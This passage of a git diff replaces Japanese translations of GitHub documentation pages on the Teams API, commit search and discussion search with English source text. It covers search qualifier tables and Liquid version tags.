discussions](//organizations/collaborating-with-your-team/about-team-discussions/)." To learn more about commenting on a discussion post, see the [team discussion comments API](/rest/reference/teams#discussion-comments). This API is only available to authenticated members of the team's organization. {% for operation in currentRestOperations %} {% if operation.subcategory == 'discussions' %}{% include rest_operation %}{% endif %} {% endfor %} -## ディスカッションコメント +## Discussion comments -Team ディスカッションコメント API を使用すると、[Team ディスカッション](/rest/reference/teams#discussions)投稿のコメントを取得、作成、編集、削除できます。 Team の [Organization](/rest/reference/orgs) に属する全メンバーが、公開のディスカッションについたコメントを作成や表示できます。 詳細については「[Teamディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions/)」を参照してください。 この API は、Team の Organization の、認証済みメンバーのみが利用できます。 +The team discussion comments API allows you to get, create, edit, and delete discussion comments on a [team discussion](/rest/reference/teams#discussions) post. Any member of the team's [organization](/rest/reference/orgs) can create and read comments on a public discussion. For more details, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)." This API is only available to authenticated members of the team's organization. {% for operation in currentRestOperations %} {% if operation.subcategory == 'discussion-comments' %}{% include rest_operation %}{% endif %} {% endfor %} -## メンバー +## Members -この API は、Team の Organization の、認証済みメンバーのみが利用できます。 OAuth のアクセストークンは、 `read:org` [スコープ](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)を必要とします。 +This API is only available to authenticated members of the team's organization. OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% ifversion fpt or ghes or ghec %} {% note %} -**ノート: ** Organizationのアイデンティティプロバイダ（Idp）でTeamに同期をセットアップしている場合、Teamのメンバーシップを変更するためのこのAPIを使おうとすると、エラーが返されます。 グループのメンバーシップを管理するためにIdpにアクセスできるなら、GitHubのTeamメンバーシップをアイデンティティプロバイダを通じて管理できます。そうすれば、Organizationで自動的にTeamメンバーの追加や削除が行われます。 詳しい情報については「アイデンティティプロバイダとGitHub間でのTeamの同期」を参照してください。 +**Note:** When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API for making changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see "Synchronizing teams between your identity provider and GitHub." {% endnote %} @@ -52,21 +52,23 @@ Team ディスカッションコメント API を使用すると、[Team ディ {% if operation.subcategory == 'members' %}{% include rest_operation %}{% endif %} {% endfor %} -{% ifversion ghec %} +{% ifversion ghec or ghae %} ## External groups The external groups API allows you to view the external identity provider groups that are available to your organization and manage the connection between external groups and teams in your organization. -この API を使用するには、認証されたユーザーがチームメンテナまたは Team に関連づけられた Organization のコードオーナーである必要があります。 +To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. +{% ifversion ghec %} {% note %} -**ノート:** +**Notes:** - The external groups API is only available for organizations that are part of a enterprise using {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." - If your organization uses team synchronization, you can use the Team Synchronization API. For more information, see "[Team synchronization API](#team-synchronization)." {% endnote %} +{% endif %} {% for operation in currentRestOperations %} {% if operation.subcategory == 'external-groups' %}{% include rest_operation %}{% endif %} @@ -75,11 +77,11 @@ The external groups API allows you to view the external identity provider groups {% endif %} {% ifversion fpt or ghes or ghec %} -## Team の同期 +## Team synchronization -Team Synchronization API では、{% data variables.product.product_name %} Team と外部アイデンティティプロバイダ (IdP) グループとの間の接続を管理できます。 この API を使用するには、認証されたユーザーがチームメンテナまたは Team に関連づけられた Organization のコードオーナーである必要があります。 また、認証に使用するトークンも、お使いの IdP (SSO) プロバイダーで使用するための認可を受けている必要があります。 詳しい情報についてはSAML シングルサインオンの Organization で使うために個人アクセストークンを認可するを参照してください。 +The Team Synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups. To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "Authorizing a personal access token for use with a SAML single sign-on organization." -Team 同期を使用して、IdPを通じて GitHubTeamメンバーを管理できます。 Team Synchronization API を使用するには、チーム同期が有効である必要があります。 詳しい情報については「アイデンティティプロバイダとGitHub間でのTeamの同期」を参照してください。 +You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "Synchronizing teams between your identity provider and GitHub." {% note %} diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md b/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md index 97da3fb479..e7f31a7604 100644 --- a/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md +++ b/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md @@ -1,6 +1,6 @@ --- -title: コミットを検索する -intro: '{% data variables.product.product_name %} 上のコミットを検索することができます。そして、これらのコミットを検索する修飾子を組み合わせることで、検索結果を絞ることができます。' +title: Searching commits +intro: 'You can search for commits on {% data variables.product.product_name %} and narrow the results using these commit search qualifiers in any combination.' redirect_from: - /articles/searching-commits - /github/searching-for-information-on-github/searching-commits @@ -13,100 +13,109 @@ versions: topics: - GitHub search --- +You can search for commits globally across all of {% data variables.product.product_name %}, or search for commits within a particular repository or organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." -{% data variables.product.product_name %} 全体にわたってグローバルにコミットを検索できます。あるいは、特定のリポジトリや Organization のコミットに限った検索もできます。 詳細は「[{% data variables.product.company_short %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。 - -コミットを検索する場合、リポジトリの[デフォルトブランチ](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)だけが検索されます。 +When you search for commits, only the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) of a repository is searched. {% data reusables.search.syntax_tips %} -## コミットメッセージ内を検索 +## Search within commit messages -メッセージに特定の単語を含むコミットを検索できます。 たとえば、[**fix typo**](https://github.com/search?q=fix+typo&type=Commits) は、「fix」および「typo」という単語を含むコミットにマッチします。 +You can find commits that contain particular words in the message. For example, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) matches commits containing the words "fix" and "typo." -## オーサーやコミッターで検索 +## Search by author or committer -特定のユーザによるコミットを、`author` 修飾子や `committer` 修飾子を使って検索できます。 +You can find commits by a particular user with the `author` or `committer` qualifiers. -| 修飾子 | サンプル | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) は、@defunkt が書いたコミットにマッチします。 | -| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) は、@defunkt がコミットしたコミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) matches commits authored by @defunkt. +| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) matches commits committed by @defunkt. -`author-name` 修飾子や `committer-name` 修飾子は、オーサー名やコミッター名のコミットにマッチします。 +The `author-name` and `committer-name` qualifiers match commits by the name of the author or committer. -| 修飾子 | サンプル | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | -| author-name:NAME | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) は、作者名が「wanstrath」であるコミットにマッチします。 | -| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) は、コミッター名が「wanstrath」であるコミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| author-name:NAME | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the author name. +| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the committer name. -`author-email` 修飾子や `committer-email` 修飾子は、作者やコミッターのフルメールアドレスで、コミットにマッチします。 +The `author-email` and `committer-email` qualifiers match commits by the author's or committer's full email address. -| 修飾子 | サンプル | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| author-email:EMAIL | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) は、chris@github.com が作者であるコミットにマッチします。 | -| committer-email:EMAIL | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) は、chris@github.com がコミットしたコミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| author-email:EMAIL | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) matches commits authored by chris@github.com. +| committer-email:EMAIL | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) matches commits committed by chris@github.com. -## オーサー日付やコミット日付で検索 +## Search by authored or committed date -`author-date` 修飾子や `committer-date` 修飾子を使うと、特定の期間内に書かれたまたはコミットされたコミットにマッチします。 +Use the `author-date` and `committer-date` qualifiers to match commits authored or committed within the specified date range. {% data reusables.search.date_gt_lt %} -| 修飾子 | サンプル | -| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | -| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) は、2016 年 1 月 1 日より前に作成されたコミットにマッチします。 | -| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) は、2016 年 1 月 1 日以降に作成されたコミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) matches commits authored before 2016-01-01. +| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) matches commits committed after 2016-01-01. -## マージコミットのフィルタリング +## Filter merge commits -`merge` 修飾子はマージコミットをフィルタリングします。 +The `merge` qualifier filters merge commits. -| 修飾子 | サンプル | -| ------------- | -------------------------------------------------------------------------------------------- | -| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) は、マージコミットにマッチします。 | -| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) は、非マージコミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) matches merge commits. +| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) matches non-merge commits. -## ハッシュで検索 +## Search by hash -`hash` 修飾子は、特定の SHA-1 ハッシュのコミットにマッチします。 +The `hash` qualifier matches commits with the specified SHA-1 hash. -| 修飾子 | サンプル | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) は、ハッシュ `124a9a0ee1d8f1e15e833aff432fbb3b02632105` のコミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) matches commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. -## 親で検索 +## Search by parent -`parent` 修飾子は、親コミットが特定の SHA-1 ハッシュのコミットにマッチします。 +The `parent` qualifier matches commits whose parent has the specified SHA-1 hash. -| 修飾子 | サンプル | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) は、ハッシュ `124a9a0ee1d8f1e15e833aff432fbb3b02632105` の子コミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) matches children of commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. -## ツリーで検索 +## Search by tree -`tree` 修飾子は、特定の SHA-1 Git ツリーハッシュのコミットにマッチします。 +The `tree` qualifier matches commits with the specified SHA-1 git tree hash. -| 修飾子 | サンプル | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | -| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) は、ツリーハッシュ `99ca967` を参照するコミットにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) matches commits that refer to the tree hash `99ca967`. -## ユーザまたは Organization のリポジトリ内の検索 +## Search within a user's or organization's repositories -特定のユーザまたは Organization のすべてのリポジトリのコミットを検索するには、`user` 修飾子または `org` 修飾子を使います。 特定のリポジトリのコミットを検索するには、`repo` 修飾子を使用します。 +To search commits in all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To search commits in a specific repository, use the `repo` qualifier. -| 修飾子 | サンプル | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) は、@defunkt が保有するリポジトリの「gibberish」という単語があるコミットメッセージにマッチします。 | -| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) は、@github が保有するリポジトリの「test」という単語があるコミットメッセージにマッチします。 | -| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) は、@defunkt の「gibberish」リポジトリにある「language」という単語があるコミットメッセージにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) matches commit messages with the word "gibberish" in repositories owned by @defunkt. +| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) matches commit messages with the word "test" in repositories owned by @github. +| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) matches commit messages with the word "language" in @defunkt's "gibberish" repository. -## リポジトリの可視性によるフィルタ +## Filter by repository visibility -`is` 修飾子は、指定した可視性を持つリポジトリからのコミットにマッチします。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| 修飾子 | 例 | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) はパブリックリポジトリへのコミットにマッチします。{% endif %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) は内部リポジトリへのコミットにマッチします。 | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) はプライベートリポジトリへのコミットに一致します。 +| Qualifier | Example +| ------------- | ------------- | +{%- ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories. +{%- endif %} -## 参考リンク +{%- ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories. +{%- endif %} -- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」 +| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories. + +## Further reading + +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md b/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md index 2989d9af28..dfd0e87b86 100644 --- a/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md +++ b/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md @@ -1,6 +1,6 @@ --- -title: ディスカッションを検索する -intro: '{% data variables.product.product_name %} 上のディスカッションを検索し、検索修飾子を使用して検索結果を絞り込むことができます。' +title: Searching discussions +intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.' versions: fpt: '*' ghec: '*' @@ -11,104 +11,108 @@ redirect_from: - /github/searching-for-information-on-github/searching-on-github/searching-discussions --- -## ディスカッションの検索について +## About searching for discussions -{% data variables.product.product_name %} 全体にわたってグローバルにディスカッションを検索できます。あるいは、特定の Organization のみのディスカッションの検索もできます。 詳細は「[{% data variables.product.prodname_dotcom %} での検索について](/github/searching-for-information-on-github/about-searching-on-github)」を参照してください。 +You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)." {% data reusables.search.syntax_tips %} -## タイトル、本文、またはコメントで検索 +## Search by the title, body, or comments -`in` 修飾子を使用すると、ディスカッションの検索をタイトル、本文、またはコメントに制限できます。 修飾子を組み合わせて、タイトル、本文、またはコメントの組み合わせを検索することもできます。 `in` 修飾子を省略すると、{% data variables.product.product_name %} はタイトル、本文、およびコメントを検索します。 +With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments. -| 修飾子 | サンプル | -|:------------- |:---------------------------------------------------------------------------------------------------------------------------------------- | -| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) は、タイトルに「welcome」を含むディスカッションにマッチします。 | -| `in:body` | [**error in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) は、タイトルか本文に「onboard」を含むディスカッションにマッチします。 | -| `in:comments` | [**welcome in:title**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) は、ディスカッションのコメントに「thanks」を含むディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. | +| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. | +| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. | -## ユーザまたは Organization のリポジトリ内の検索 +## Search within a user's or organization's repositories -特定のユーザまたは Organization のすべてのリポジトリのディスカッションを検索するには、`user` 修飾子または `org` 修飾子を使います。 特定のリポジトリのディスカッションを検索するには、`repo` 修飾子を使います。 +To search discussions in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier. -| 修飾子 | サンプル | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) @octocat が所有するリポジトリからの「feedback」という単語を含むディスカッションにマッチします。 | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) は、GitHub Organization が保有するリポジトリのディスカッションにマッチします。 | -| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) は、2021年1月以前に作成された@nodejs の Node.js ランタイムプロジェクトからのディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. | +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. | +| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. | -## リポジトリの可視性によるフィルタ +## Filter by repository visibility -`is` 修飾子を使用して、ディスカッションを含むリポジトリの可視性でフィルタできます。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| 修飾子 | 例 | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) はパブリックリポジトリへのディスカッションにマッチします。{% endif %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) は内部リポジトリへのディスカッションにマッチします。 | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) は、アクセス可能なプライベートリポジトリに「tiramisu」という単語を含むディスカッションにマッチします。 +| Qualifier | Example +| :- | :- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} +| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access. -## 作者で検索 +## Search by author -`author` 修飾子は、特定のユーザが作成したディスカッションを表示します。 +The `author` qualifier finds discussions created by a certain user. -| 修飾子 | サンプル | -|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) は、@octocat が作成した「cool」という単語を含むディスカッションにマッチします。 | -| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) は、@octocat が作成した「bootstrap」という単語を含むディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. | +| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. | -## コメントした人で検索 +## Search by commenter -`commenter` 修飾子は、特定のユーザからのコメントを含むディスカッションを検索します。 +The `commenter` qualifier finds discussions that contain a comment from a certain user. -| 修飾子 | サンプル | -|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) は、@beccaのコメントがあり、「github」という単語がある、GitHub が所有するリポジトリのディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca. -## ディスカッションに関与しているユーザで検索 +## Search by a user that's involved in a discussion -`involves` 修飾子では、特定のユーザが関与するディスカッションを表示します。 修飾子は、特定のユーザが作成したディスカッション、特定のユーザをメンションしたディスカッション、特定のユーザによるコメントを含むディスカッションを返します。 `involves` 修飾子は、単一ユーザについて、`author`、`mentions`、および `commenter` を論理 OR でつなげます。 +You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user. -| 修飾子 | サンプル | -|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** は、@becca または @octocat が関与しているディスカッションにマッチします。 | -| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) は、本文に「beta」という単語を含まず、@becca が関与しているディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in. +| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body. -## コメントの数で検索 +## Search by number of comments -コメント数で検索するには、不等号や範囲の修飾子とともに `comments` 修飾子を使います。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -|:------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------- | -| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) は、コメント数が 100 を超えるクローズしたディスカッションにマッチします。 | -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions)は、500 から 1,000 までの範囲のコメント数のディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000. -## インタラクションの数で検索 +## Search by number of interactions -`interactions` 修飾子を使用したインタラクションの数と、不等号や範囲の修飾子によってディスカッションをフィルタできます。 インタラクションの数は、ディスカッションに対するリアクションとコメントの数のことです。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------- | -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) は、インタラクションの数が 2,000 以上あるディスカッションにマッチします。 | -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) は、500～1,000 の範囲のインタラクションとのディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000. -## リアクションの数で検索 +## Search by number of reactions -不等号や範囲の修飾子と一緒に `reactions` 修飾子を使用して、リアクションの数でディスカッションをフィルタすることができます。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------ | -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) は、リアクションの数が 500 以上あるディスカッションにマッチします。 | -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) は、リアクションの数が 500～1,000 の範囲のディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000. -## ディスカッションの作成時期または最終更新時期で検索 +## Search by when a discussion was created or last updated -作成時期または最終更新時期でディスカッションをフィルタできます。 ディスカッションの作成時期については、`created` の修飾子を使います。ディスカッションの最終更新時期で表示するには、`updated` の修飾子を使います。 +You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier. -両方の修飾子は、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 修飾子 | サンプル | -|:-------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) は、2020 年 11 月 15 日以降に作成されたディスカッションにマッチします。 | -| updated:YYYY-MM-DD | [**weird in:body 